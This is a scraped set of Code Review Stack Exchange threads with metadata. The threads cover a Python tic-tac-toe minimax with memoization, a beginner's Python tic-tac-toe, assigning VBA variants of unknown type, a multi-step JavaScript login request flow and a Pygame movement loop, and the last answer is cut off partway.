[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T22:40:08.373", "Id": "452246", "Score": "1", "body": "My IDE is giving me a warning about the `.all(1)` in `search_sequence()`, any idea what's going on? The message is: \"Unresolved attribute reference 'all' for class 'bool'\"." } ]
[ { "body": "<p>Initially your code was taking about 19-20 secs to complete.\nI added memoization, now it takes 2-3 secs to complete.\nHope it helps.\nIn case you have to rerun program many times. I have saved the 'mydict' object using 'pickle'. then reuse it. \nIn case of reuse, program takes less than 1 second\n<a href=\"https://repl.it/repls/ViciousNearComputerscience\" rel=\"nofollow noreferrer\">Repl link for the code</a></p>\n\n<pre><code>#!/usr/bin/python3\n\nimport numpy\nimport time\nimport sys\nimport pickle\nstart = time.time()\ntry:\n with open('mydict','rb') as f:\n print('using previous file')\n mydict = pickle.load(f)\nexcept:\n mydict = {}\nclass Player:\n\n def __init__(self, id):\n self.id = id\n self.win_seq = numpy.array([id, id, id])\n\n def get_actions(self, state):\n coords = numpy.asarray(numpy.where(state == 0)).T\n return [tuple(i) for i in coords]\n\n def apply_action(self, state, action):\n state[action] = self.id\n return state\n\n def undo_action(self, state, action):\n state[action] = 0\n return state\n\n def is_win(self, state):\n for i, row in enumerate(state):\n if search_sequence(row, self.win_seq):\n return True\n\n if search_sequence(state[:, i], self.win_seq):\n return True\n\n for diag in get_diags(state):\n if search_sequence(diag, self.win_seq):\n return True\n\n return False\n\n def get_decision(self, state, enemy):\n self.enemy = enemy\n actions = self.get_actions(state)\n best_i = None\n best_val = -sys.maxsize\n\n for i, action in enumerate(actions):\n val = self.minimax(self.apply_action(state, action), 0, False)\n state[action] = 0\n\n if val &gt; best_val:\n best_i = i\n best_val = val\n\n return actions[best_i]\n\n def minimax(self, state, depth, is_max):\n try:\n return mydict[tuple(state.flatten())]\n except:\n pass\n if self.is_win(state):\n return 10 - depth\n elif self.enemy.is_win(state):\n return -10 + depth\n elif self.is_full(state):\n return 0\n\n actions = self.get_actions(state)\n\n if is_max:\n best = -sys.maxsize\n\n for action in actions:\n val = self.minimax(self.apply_action(state, action), depth + 1, False)\n self.undo_action(state, action)\n best = max(best, val)\n else:\n best = sys.maxsize\n\n for action in actions:\n val = self.minimax(self.enemy.apply_action(state, action), depth + 1, True)\n self.undo_action(state, action)\n best = min(best, val)\n\n mydict[tuple(state.flatten())]=best\n\n return best\n\n def is_full(self, state):\n fields = state == 0\n return not fields.any()\n\ndef search_sequence(arr, seq):\n r_seq = numpy.arange(seq.shape[0])\n M = (arr[numpy.arange(arr.shape[0] - seq.shape[0] + 1)[:, None] + r_seq] == seq).all(1)\n return M.any() &gt; 0\n\ndef get_diags(state):\n diags = [state[::-1,:].diagonal(i) for i in range(-state.shape[0] + 1, state.shape[1])]\n diags.extend(state.diagonal(i) for i in range(state.shape[1]-1,-state.shape[0],-1))\n return diags\n\nme = Player(1)\nenemy = Player(2)\n\nstate = numpy.array([\n [1, 0, 0, 1],\n [0, 2, 0, 0],\n [0, 0, 1, 0],\n [1, 2, 2, 1]\n])\n\ndecision = me.get_decision(state, enemy)\n\nprint(state)\nprint(decision)\nprint(me.apply_action(state, decision))\n\nprint(time.time() - start, \"s\")\n\nwith open('mydict','wb') as f:\n pickle.dump(mydict,f)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:51:04.607", "Id": "452488", "Score": "0", "body": "Welcome to CodeReview! I like the rewrite, but can you review the OP code some more beyond the fact that it's slow and missing memoization? This is CodeReview after all." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:04:00.370", "Id": "452491", "Score": "0", "body": "Thank you sir, you for pointing out. I just did similar to stackoverflow. I am currently reading other answers on codereview. Now I am realizing, That this is not the good way ( in which I have written) to write answers here on codereview." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:25:44.450", "Id": "231885", "ParentId": "231787", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T17:03:44.927", "Id": "231787", "Score": "4", "Tags": [ "python", "performance", "numpy", "tic-tac-toe", "ai" ], "Title": "Minimax algorithm for tic tac toe in Python" }
231787
<p>I am new to Python and would like to get helpful tips and suggestions on this code. Would be awesome if you provide info if anything is fundamentally incorrect, improve the algorithm, and any room for further improvements.</p> <pre><code>class Game: def __init__(self): self.board = ["0", "1", "2", "3", "4", "5", "6", "7", "8"] self.ai = "X" self.human = "O" def start_game(self): print(" %s | %s | %s \n=========\n %s | %s | %s \n=========\n %s | %s | %s \n" % \ (self.board[0], self.board[1], self.board[2], self.board[3], self.board[4], self.board[5], self.board[6], self.board[7], self.board[8])) print("Enter number between [0-8]:") while not self.game_over(self.board) and not self.draw(self.board): self.get_human_position() if not self.game_over(self.board) and not self.draw(self.board): self.eval_board() print(" %s | %s | %s \n=========\n %s | %s | %s \n=========\n %s | %s | %s \n" % \ (self.board[0], self.board[1], self.board[2], self.board[3], self.board[4], self.board[5], self.board[6], self.board[7], self.board[8])) print("Game over") # have to think of way to print Draw when it's a draw def get_human_position(self): spot = None while spot is None: spot = int(input()) if self.board[spot] != "X" and self.board[spot] != "O": self.board[spot] = self.human else: spot = None def eval_board(self): spot = None while spot is None: if self.board[4] == "4": spot = 4 self.board[spot] = self.ai else: spot = self.get_optimal_move(self.board, self.ai) if self.board[spot] != "X" and self.board[spot] != "O": self.board[spot] = self.ai else: spot = None def get_optimal_move(self, board, next_player, depth = 0, highest_score = {}): available_spaces = [s for s in board if s != "X" and s != "O"] optimal_move = None for available in available_spaces: board[int(available)] = self.ai if self.game_over(board): optimal_move = int(available) board[int(available)] = available return optimal_move else: board[int(available)] = self.human if self.game_over(board): optimal_move = int(available) board[int(available)] = available return optimal_move else: board[int(available)] = available if optimal_move: return optimal_move else: return int(available_spaces[0]) def three_in_row(self, *args): return args[0] == args[1] == args[2] == "X" or \ args[0] == args[1] == args[2] == "O" def game_over(self, b): return self.three_in_row(b[0], b[1], b[2]) == 1 or \ self.three_in_row(b[3], b[4], b[5]) == 1 or \ self.three_in_row(b[6], b[7], b[8]) == 1 or \ self.three_in_row(b[0], b[3], b[6]) == 1 or \ self.three_in_row(b[1], b[4], b[7]) == 1 or \ self.three_in_row(b[2], b[5], b[8]) == 1 or \ self.three_in_row(b[0], b[4], b[8]) == 1 or \ self.three_in_row(b[2], b[4], b[6]) == 1 def draw(self, b): return len([s for s in b if s == "X" or s == "O"]) == 9 if __name__ == '__main__': game = Game() game.start_game() </code></pre> <p>Currently I do want to fix the Draw portion where I would print Draw instead of game-over when it is a draw.</p>
[]
[ { "body": "<p><strong>Design</strong></p>\n\n<p>I'm guessing you're coming from some sort of Object-Oriented Programming Language (OOPL), like Java. Python is an interpreted language, and while treating it like an OOPL isn't bad in many large scale scenarios, something small like this doesn't need that design. If this is for some kind of scholastic exercise or you're just training OOPL design in Python, you can stick to it, but personally I'd avoid it here.</p>\n\n<p><strong>Printing &amp; Strings</strong></p>\n\n<p>Pasting out each array index isn't necessary. Instead of using the modulo operator to format strings, you can either use <code>.format()</code> or f-strings. For the board prompt I'd personally use <code>.format()</code>, like so:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>print(' {} | {} | {} \\n===+===+===\\n {} | {} | {} \\n===+===+===\\n {} | {} | {} \\n'.format(*list(n for n in self.board)))\n</code></pre>\n\n<p>You use variadic assignment in <code>three_in_row</code>, so I'm assuming you know the <a href=\"https://medium.com/understand-the-python/understanding-the-asterisk-of-python-8b9daaa4a558\" rel=\"nofollow noreferrer\">four use cases of the asterisk</a>.</p>\n\n<p>I notice you use double quotes a lot in your main code but not in the actual main function, so maybe that was pregenerated by an editor like VSCode? Regardless, you can use single quotes more throughout your code.</p>\n\n<p><strong>Game &amp; Logic</strong></p>\n\n<p><code>None</code> checks and usage seem to be quite frequent throughout this program. Again, this indicates to me some beginner OOP ideology. We all start somewhere, but as it is in good OOP design to not explicitly use <code>null</code> where possible, the same can apply to <code>None</code> here.</p>\n\n<p>In your <code>eval_board</code> function, you prioritize the fourth, or central, spot for the AI. Why not just check this outside of the loop, and then start it if it fails? This function appears to be used exclusively by the AI as well, so why isn't it named something like <code>ai_move</code> or <code>ai_eval</code> to reflect this? Other functions could benefit from this naming as well. Also, using <code>while</code> loops and checking for a <code>None</code> spot seems like a bad substitution for Boolean functions and checks in my mind.</p>\n\n<p>Conveniently, I've also put up a Tic Tac Toe question, which is here: <a href=\"https://codereview.stackexchange.com/questions/231718/back-to-basics-tic-tac-toe\">Back to Basics - Tic Tac Toe</a></p>\n\n<p>Any comments I'd have on optimizing your game logic would just be incorporating some of the techniques used in my implementation. Granted, I don't have an \"AI,\" but the imagination shouldn't need to flex over the available possibilities.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T19:21:26.933", "Id": "231794", "ParentId": "231789", "Score": "2" } }, { "body": "<h2>WET -vs- DRY</h2>\n\n<p>In your <code>start_game()</code> method, you have this code, twice:</p>\n\n<pre><code>print(\" %s | %s | %s \\n===+===+===\\n %s | %s | %s \\n===+===+===\\n %s | %s | %s \\n\" % \\\n (self.board[0], self.board[1], self.board[2],\n self.board[3], self.board[4], self.board[5],\n self.board[6], self.board[7], self.board[8]))\n</code></pre>\n\n<p>You should try to write DRY code (Don’t Repeat Yourself), instead of WET code (Write Everything Twice). This common code can be moved into its own method:</p>\n\n<pre><code>def _print_board(self):\n print(\" %s | %s | %s \\n===+===+===\\n %s | %s | %s \\n===+===+===\\n %s | %s | %s \\n\" % self.board)\n</code></pre>\n\n<p><strong>Note</strong>: <code>(self.board[0], self.board[1], ... self.board[8])</code> just creates a list (tuple, actually) of all the elements of <code>self.board</code>, but <code>self.board</code> is already such a list, so can be use directly as the format argument. Way less typing.</p>\n\n<p>@T145 is suggesting <code>\"...\".format(*list(n for n in self.board))</code>, which can be simplified in exactly the same way, to <code>\"...\".format(*self.board)</code>.</p>\n\n<p>Other things which appear multiple times, that you might want to create a function for include checking that a spot on the board is neither an <code>\"X\"</code> nor a <code>\"O\"</code>.</p>\n\n<h2>Game Over</h2>\n\n<p>Your main loop is looping while not <code>game_over</code> and not <code>draw</code>. This begs the question: won’t the game be over if it was a draw?</p>\n\n<p>You should simply be able to loop while the game is not over.</p>\n\n<p>Perhaps you want another function, to check if a winning pattern exists (the current <code>game_over</code> function), and <code>game_over</code> would call both this new function and the <code>draw</code> function, to determine if the game is in fact over.</p>\n\n<h2>True is not 1</h2>\n\n<p>You are testing the return value of <code>three_in_row()</code> with <code>1</code>. However, <code>three_in_row()</code> returns a boolean (<code>True</code> or <code>False</code>), not a integer. </p>\n\n<p>You could simply write:</p>\n\n<pre><code>return (self.three_in_row(b[0], b[1], b[2]) or \n self.three_in_row(b[3], b[4], b[5]) or\n self.three_in_row(b[6], b[7], b[8]) or\n self.three_in_row(b[0], b[3], b[6]) or\n self.three_in_row(b[1], b[4], b[7]) or\n self.three_in_row(b[2], b[5], b[8]) or\n self.three_in_row(b[0], b[4], b[8]) or\n self.three_in_row(b[2], b[4], b[6]))\n</code></pre>\n\n<p>Note the use of <code>(...)</code>’s around the entire expression to eliminate the need for backslashes.</p>\n\n<p>You are still repeating yourself quite a bit here. You are calling the same function 8 times with different arguments. Usually, we throw things like that into a loop:</p>\n\n<pre><code>rows = ((0, 1, 2), (3, 4, 5), (6, 7, 8),\n (0, 3, 6), (1, 4, 7), (2, 5, 8),\n (0, 4, 8), (2, 4, 6))\n\nfor x, y, z in rows:\n if self.three_in_row(b[x], b[y], b[z]):\n return True\nreturn False\n</code></pre>\n\n<p>Or, even shorter:</p>\n\n<pre><code>return any(self.three_in_row(b[x], b[y], b[z]) for x, y, z in rows)\n</code></pre>\n\n<h2>Private -vs- Public</h2>\n\n<p>Python doesn’t have private variables. But convention (which is obeyed by many IDE’s, and understood by various PEP 8 checkers), is to prefix members which are not supposed to be accessed by code external to the class with a leading underscore.</p>\n\n<p>You may have noticed <code>_print_board(self):</code> member I created above had the leading underscore.</p>\n\n<p>Other members should also have leading underscores, such as <code>_board</code>, <code>_ai</code>, <code>_human</code>. In fact, the only public member would be <code>start_game()</code>!</p>\n\n<h2>Input Sanitation</h2>\n\n<p>What happens if the user doesn’t enter a legal move? Such as <code>-5</code>, <code>13</code> or <code>1.75</code> or <code>foobar</code>? Does the program crash? The <code>int(input())</code> will raise a <code>ValueError</code> exception on <code>1.75</code> or <code>foobar</code>, crashing the program. <code>13</code> is a valid integer, but will give you an <code>IndexError</code> when you index <code>self.board</code> with it. <code>-5</code> oddly will work just fine; but should it?</p>\n\n<p>Consider adding:</p>\n\n<pre><code>try:\n spot = int(input())\nexcept ValueError:\n spot = None\n</code></pre>\n\n<p>to check for nonsense input. And follow that with a bounds check like:</p>\n\n<pre><code>if 0 &lt;= spot &lt;= 8:\n # A valid spot was entered\nelse:\n # Handle invalid spot\n</code></pre>\n\n<h2><code>get_optimal_move()</code></h2>\n\n<p>None of the arguments beyond <code>board</code> are used, and can be eliminated.</p>\n\n<p>Moves are considered sequentially, and for each move, if the AI wins, or the player wins, that move is returned, so the AI either wins or blocks the player from winning. But ... if a move that blocks the player from winning occurs in the list before a move that the AI wins on occurs, then instead of winning, the AI will simply block the player, which is suboptimal.</p>\n\n<p>You have 3 places where you have:</p>\n\n<pre><code>board[int(available)] = available\n</code></pre>\n\n<p>You can DRY this code (avoid this duplication) using a <code>try: ... finally: ...</code> structure:</p>\n\n<pre><code>for available in available_spaces:\n move = int(available)\n try:\n board[move] = self.ai\n if self.game_over(board):\n return move\n else:\n board[move] = self.human\n if self.game_over(board):\n return move\n finally:\n board[move] = available\n</code></pre>\n\n<p>Even when either of the two <code>return</code> statements cause the function to exit, the code in the <code>finally:</code> block will still execute, restoring the board’s state.</p>\n\n<p>Note the <code>move</code> local variable to avoid the <code>int(available)</code> calls everywhere as well.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T03:20:03.243", "Id": "452276", "Score": "0", "body": "I'd clarify that point about booleans w/ this: https://www.programiz.com/python-programming/methods/built-in/bool Part of my hope was that the OP would catch on to most of these optimizations (that expound on what I target), but oh well :p" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T02:25:17.750", "Id": "231807", "ParentId": "231789", "Score": "1" } } ]
{ "AcceptedAnswerId": "231794", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T17:47:06.660", "Id": "231789", "Score": "4", "Tags": [ "python", "beginner", "python-3.x", "game", "tic-tac-toe" ], "Title": "Tic-Tac-Toe in Python3" }
231789
<p>Quick review:</p> <p>I've been writing API code which receives user input that can come as either an object or a value type - a problem outlined <a href="https://stackoverflow.com/q/35750449/6609896">here</a>.</p> <p>In order to write an unknown data type to a variable, I first came up with this:</p> <pre><code>Public Sub LetSet(ByRef variable As Variant, ByVal value As Variant) If IsObject(value) Then Set variable = value Else variable = value End If End Sub </code></pre> <p>called like</p> <pre><code>Dim result As Variant LetSet result, objectOrValueType() </code></pre> <hr> <p>However an alternate approach that I've come up with is the following: </p> <pre><code>Public Property Let LetSet(ByRef variable As Variant, ByVal value As Variant) If IsObject(value) Then Set variable = value Else variable = value End If End Property </code></pre> <p>called like</p> <pre><code>Dim result As Variant LetSet(result) = objectOrValueType() </code></pre> <p>which I like because it feels closer to <code>LetSet a = b</code> - the ultimate goal but one that I don't believe is possible.</p> <hr> <p>Both live in standard modules and are functionally equivalent - the return value of <code>objectOrValueType()</code> (some arbitrary function that generates the unknown data) is stored in result.</p> <p>So I'm wondering which is <em>better</em> and is there anything I can do to improve on either approach? Any other feedback is, of course, also welcome.</p> <hr> <p><em>NB, just to add some context, I've come across 2 use cases for this:</em></p> <ol> <li>A buffered list; this class is drip-fed data of unknown kind from some asynchronous process, and merges it into batches of fixed size - then raises an event when a new batch is ready. Because the internal data store is constantly being written to, I can't expose that, so I need some way to copy items to variant arrays for each batch and expose those in the event.</li> <li>Overloaded arithmetic functions; I've defined some <code>Add</code> method that can take integers and sum them with the <code>+</code> operator. However I'm allowing classes to implement <code>IAddable</code> and define their own response to the <code>Add</code> method; this implementation may return an object. So I need to be able to write the result of this calculation to the return variable of the <code>Add</code> method.</li> </ol> <p>For the former I could use a <code>Collection</code> and avoid the issue altogether as @Freeflow points out <a href="https://codereview.stackexchange.com/a/231800/146810">in their answer</a> - but the batches are fixed size so an array makes more sense for me. For the latter, I don't see a way around using this approach, as the return type of the function is down to the user, not me.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:46:01.277", "Id": "452302", "Score": "0", "body": "I'm glad my suggestion of a collection works. If your need is to transfer arrays then you may wish to consider ArrayList (from System.Collections) via adding a reference to mscorlib.dll." } ]
[ { "body": "<p>Although you think that the second one is closer to your desired syntax, it is actually somewhat confusing. If <code>LetSet</code> was a function with only one parameter, this would cause a Let coercion on the RHS, if an object is supplied. E.g. if the RHS is a range, the usual behaviour of a Let assignment is that the values in the range are assigned instead of the object. Only because <code>LetSet</code> is parameterized, the object itself is assigned.</p>\n\n<p>So, following the principle of least surprise, I would suggest to use the first version.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T17:40:24.700", "Id": "453468", "Score": "0", "body": "I've been wondering about this; IIUC, you're saying the _Property_ version is \"surprising\" - I agree - because `Let myProp = [A1]` stores `A1.Value` while `Let LetSet(myProp) = [A1]` stores the `A1` object . However because the `Let` syntax is obsolete, there is no indication at the call site telling the user about `Let` coercion - the surprise is only in the implementation level, not at calling level (if that makes sense). Considering then that the `Property` syntax is a little clearer at the call site, why might I prefer \"least surprise\" at implementation level over \"clarity\" at call level?" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T19:29:35.220", "Id": "231795", "ParentId": "231790", "Score": "4" } }, { "body": "<p>I'd name the procedure <code>Assign</code>:</p>\n\n<pre><code>Dim foo As Long\nAssign foo, 42\n</code></pre>\n\n<p>But then, this is involving a stack frame for an otherwise very straightforward operation - the method intending to be generic, it cannot bring any additional logic to the table, and ultimately comes off as redundant.</p>\n\n<p>A <code>Property Let</code> procedure is more problematic though, because such procedures always receive their value/RHS parameters <code>ByVal</code> - regardless of whether or not it says <code>ByRef</code>; <a href=\"https://codereview.stackexchange.com/a/231795/23788\">M.Doerner's answer</a> gives more details about the implications of this.</p>\n\n<p>I wouldn't use either version of this code, and use explicit built-in keywords (<code>Set</code>) and operators (<code>=</code>) instead, as appropriate. Not knowing what type you're dealing with means you're coding late-bound, which isn't ideal in the first place.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:12:34.750", "Id": "452296", "Score": "1", "body": "I think I made it unclear; this isn't intended to replace `=` and `Set` in all situations - I have added some use cases to the question to clarify that. Also I don't understand the problem with `ByRef` - I've specified `ByVal` explicitly here? Good point on late-bound code, although in some cases I think it's unavoidable (see the update), where the user is providing data to some collection class or API." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T20:19:00.797", "Id": "231798", "ParentId": "231790", "Score": "4" } }, { "body": "<p>If I am not too late to answer this question. The first method which springs to mind is to use a collection to catch the function result.</p>\n\n<pre><code>Dim myResult as Collection\nSet myResult=new Collection\n\nmyResult.add thefunction()\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:49:23.790", "Id": "452398", "Score": "2", "body": "It's *never* too late to post an answer to any CR question! =)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T21:56:22.177", "Id": "231800", "ParentId": "231790", "Score": "3" } }, { "body": "<p>This first pattern is inspired by Freeflow:</p>\n\n<blockquote>\n<pre><code> For Each Item In Array(objectOrValueType)\n Exit For\n Next\n</code></pre>\n</blockquote>\n\n<p>The idea is to use For Each Controls loop to make the correct assignment.</p>\n\n<p>Here I use Matt's suggested name <code>Assign</code> to touch up the API Call used in <a href=\"https://stackoverflow.com/a/55838668/9912714\">Sancarn's answer</a></p>\n\n<blockquote>\n<pre><code>#If Win64 Then\nPublic Declare PtrSafe Sub Assign Lib \"oleaut32.dll\" Alias \"VariantCopy\" (ByRef Target As Variant, ByRef Source As Variant)\n#Else\nPublic Declare Sub Assign Lib \"oleaut32.dll\" alias \"VariantCopy\" (ByRef Target As Variant, ByRef Source As Variant)\n#End If\n</code></pre>\n</blockquote>\n\n<h2>Tests</h2>\n\n<pre><code>Sub TestAssign()\n Dim Item As Variant\n Dim n As Long\n For n = 0 To 10\n Assign Item, objectOrValueType(n)\n Debug.Print IsObject(Item)\n Next\nEnd Sub\n\nSub TestForEach()\n Dim Item As Variant\n Dim n As Long\n For n = 0 To 10\n For Each Item In Array(objectOrValueType(n))\n Exit For\n Next\n Debug.Print IsObject(Item)\n Next\nEnd Sub\n\nSub TestCast()\n Dim Item As Variant\n Dim n As Long\n For n = 0 To 10\n Cast Item, objectOrValueType(n)\n Debug.Print IsObject(Item)\n Next\nEnd Sub\n\nSub Cast(ByRef Target As Variant, ByRef Source As Variant)\n For Each Target In Array(Source)\n Exit For\n Next\nEnd Sub\n\nFunction objectOrValueType(ByVal n As Long) As Variant\n If n Mod 2 = 0 Then\n objectOrValueType = Range(\"A1\")\n Else\n Set objectOrValueType = Range(\"A1\")\n End If\nEnd Function\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:38:26.337", "Id": "452515", "Score": "0", "body": "Despite language specifications saying otherwise, a `For Each` loop variable will *not* have a reference to the last item *if the loop runs to completion* - this `Exit For` loop-assignment is kind of a hack..." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T04:12:23.230", "Id": "231870", "ParentId": "231790", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T18:26:08.680", "Id": "231790", "Score": "12", "Tags": [ "vba", "comparative-review", "variant-type" ], "Title": "Assign a variant to a variant" }
231790
<p>I am working on a login/register system and want the register and log in process as smooth as possible. One way of making it smoother is in my opinion to make a multi-step login/register. </p> <p>What I mean: If a user want's to log in, he first have to type in his username and if this username exists, he can type in a password and log in. The user has more feedback, especially in the register process. Since I started to learn OOP and know that es6 was introduces a while ago, I want to improve in JS aswell.</p> <p>I only have one button that does everything. That's why I have a switch case in my button event listener that compares the value of it to select the right method in my form class.</p> <p>The code at the bottom is what I have came up with. It works but I don't think it is how it's done normally. </p> <p>Is this code 'advanced' or does it look like it's from a noob.</p> <p>I am aware that doing a login like that leaks information, but I have already setup a robust protection against it. So that attackers don't have a lot of tries, while users can login wihtout a DoS.</p> <pre><code>class Form { content = document.getElementById('content'); username = document.getElementById('username'); password = document.getElementById('password'); submit_btn = document.getElementById('right'); loader = document.getElementById('loader'); request; constructor () { this.request = new XMLHttpRequest(); } execute(type, path, Data) { this.loading(); this.request.open(type, path); this.request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); this.request.send(Data); } loading() { this.loader.style.opacity = 1; } loaded() { this.loader.style.opacity = 0; } submit_username () { this.request.onload = () =&gt; { this.loaded(); //If response value is true than //Switch Input field to password //Change button value to login_two //else show error messages } let Data = `username=${this.username.value}` this.execute('post', '/login/step_one', Data); } submit_login() { this.request.onload = () =&gt; { this.loaded(); //If response value is true than //Redirect the user to home //else show error messages } let Data = `password=${this.password.value}` this.execute('post', '/login/step_two', Data); } } const form = new Form(); form.submit_btn.addEventListener("click", () =&gt; { let method = form.submit_btn.value; switch (method) { case 'login_one': form.submit_username(); break; case 'login_two': form.submit_login(); break; } }); </code></pre> <p>Maybe someone can provide an example of a better way.</p> <p><a href="https://codepen.io/Mointy/pen/zYYRzYY" rel="nofollow noreferrer">Codepen</a></p>
[]
[ { "body": "<ul>\n<li>Declaring a class makes sense if it can be reused, but less so if the logic and element ids are hardcoded to just one case, it only adds the unnecessary <code>this.</code> to variables.</li>\n<li>It's unclear why the click listener is handled outside of the form class as it's logically and conceptually a part of the form.</li>\n<li>JS naming convention is camelCase, not snake_case.</li>\n<li>Consider <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams\" rel=\"nofollow noreferrer\">URLSearchParams</a> API so the HTTP headers are set <a href=\"https://fetch.spec.whatwg.org/#concept-bodyinit-extract\" rel=\"nofollow noreferrer\">automatically</a> and values are properly escaped.</li>\n<li>Consider making the login routes more declarative e.g. <code>routes</code> in the code below.</li>\n<li>If your goal was to use a class as a namespace then it might be better to switch to modules. For example using the built-in ES modules the inner contents of the function will be the entire contents of the module.</li>\n</ul>\n\n<pre class=\"lang-js prettyprint-override\"><code>function handleLogin() {\n const request = new XMLHttpRequest();\n const loader = document.getElementById('loader');\n const btn = document.getElementById('right');\n let step = 0;\n const routes = [{\n path: 'one',\n field: 'username',\n onload() {\n step++;\n getDataElement().focus();\n },\n onerror(e) { /* show error */ },\n }, {\n path: 'two',\n field: 'password',\n onload() { /* show home page */ },\n onerror(e) { /* show error */ },\n }];\n\n btn.addEventListener('click', () =&gt; {\n loader.style.opacity = 1;\n const {path, field} = routes[step];\n request.open('post', `/login/step_${path}`);\n request.send(new URLSearchParams({[field]: getDataElement().value}));\n });\n\n request.addEventListener('loadend', e =&gt; {\n loader.style.opacity = 0;\n routes[step][request.response === 'true' ? 'onload' : 'onerror'](e);\n });\n\n function getDataElement() {\n return document.getElementById(routes[step].field);\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:01:36.890", "Id": "452344", "Score": "0", "body": "Thanks for your answer! No, my goal was not to use the class as a namcespace. I just wanted my code to be more modern and scaleable. Since I dont need module I dont need it as function. However I am trying to expand it, because the registering process works the same way as the login." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:04:59.097", "Id": "452345", "Score": "0", "body": "Well without seeing the full workflow I don't see what can be scaled here as it's too simple. Like I already said, with the info present so far I see no benefits in using a class here, quite the opposite." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:57:05.960", "Id": "452352", "Score": "0", "body": "I added a codepen link where you will see what I mean. The code you posted is fine, I dont need to have everything in a function (handleLogin), since it should execute when the file loads. But I also want the same functionality for registering a user without the need of copying everything." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T14:37:20.597", "Id": "452356", "Score": "0", "body": "FWIW you can call a function just fine or you can make it an IIFE `(() => {...})()` As for copying, there's not much to copy so I'm against adding superficial complexity of classes and inheritance." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:09:45.487", "Id": "231820", "ParentId": "231793", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T19:16:08.077", "Id": "231793", "Score": "2", "Tags": [ "javascript", "object-oriented", "ecmascript-6", "xml", "http" ], "Title": "Modern HTTP-Requests for login/register system" }
231793
<p>How does this Pygame code look? Is the run loop usually in a class? I'm a beginner and was wondering what the best format and structure is for using OOP in Pygame.</p> <pre><code>import pygame pygame.init() win = pygame.display.set_mode((500, 500)) pygame.display.set_caption("Game") class Game: def __init__(self): self.x = 250 self.y = 250 self.width = 50 self.height = 50 self.vel = 5 self.isJump = False self.jumpCount = 10 def run(self): run = True while run: pygame.time.delay(30) for event in pygame.event.get(): if event.type == pygame.QUIT: run = False keys = pygame.key.get_pressed() if keys[pygame.K_LEFT] and self.x &gt; 0: self.x -= self.vel if keys[pygame.K_RIGHT] and self.x &lt; 500 - self.width: self.x += self.vel if not self.isJump: if keys[pygame.K_UP] and self.y &gt; 0: self.y -= self.vel if keys[pygame.K_DOWN] and self.y &lt; 500 - self.height: self.y += self.vel if keys[pygame.K_SPACE]: self.isJump = True else: if self.jumpCount &gt;= -10: self.y -= (self.jumpCount * abs(self.jumpCount)) * 0.5 self.jumpCount -= 1 else: self.jumpCount = 10 self.isJump = False win.fill((0, 0, 0)) self.draw() pygame.quit() def draw(self): pygame.draw.rect(win, (0, 0, 255), (self.x, self.y, self.width, self.height)) pygame.display.update() g = Game() g.run() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T23:16:47.837", "Id": "452443", "Score": "0", "body": "Welcome to Code Review! Please see [_What to do when someone answers_](https://codereview.stackexchange.com/help/someone-answers). I have rolled back Rev 3 → 2" } ]
[ { "body": "<p>Few areas to improve:</p>\n\n<ul>\n<li><p><code>self.vel</code>. When I first saw this field/variable I thought: \"What is that?\".<br>I guess many other people may have the same first feeling.<br>I would rename it to an explicit and clear name: <code>self.velocity</code></p></li>\n<li><p><code>self.isJump</code> and <code>self.jumpCount</code> violate Python naming conventions (<em>instance variable names should be all <strong>lower case</strong>, words in an instance variable name should be separated by an <strong>underscore</em></strong>). Therefore, rename them to:</p>\n\n<pre><code>...\nself.is_jump\nself.jump_count`\n</code></pre></li>\n<li><p><code>run = True</code> flag. That flag for just controlling the <code>while</code> loop flow is redundant.<br>We're just starting the loop with <code>while True:</code> and breaking it with <code>break</code>.<br>So it becomes:</p>\n\n<pre><code>def run(self):\n while True:\n pygame.time.delay(30) \n keys = pygame.key.get_pressed()\n\n # handling pressed keys\n if keys ...\n\n win.fill((0, 0, 0))\n self.draw()\n\n for event in pygame.event.get():\n if event.type == 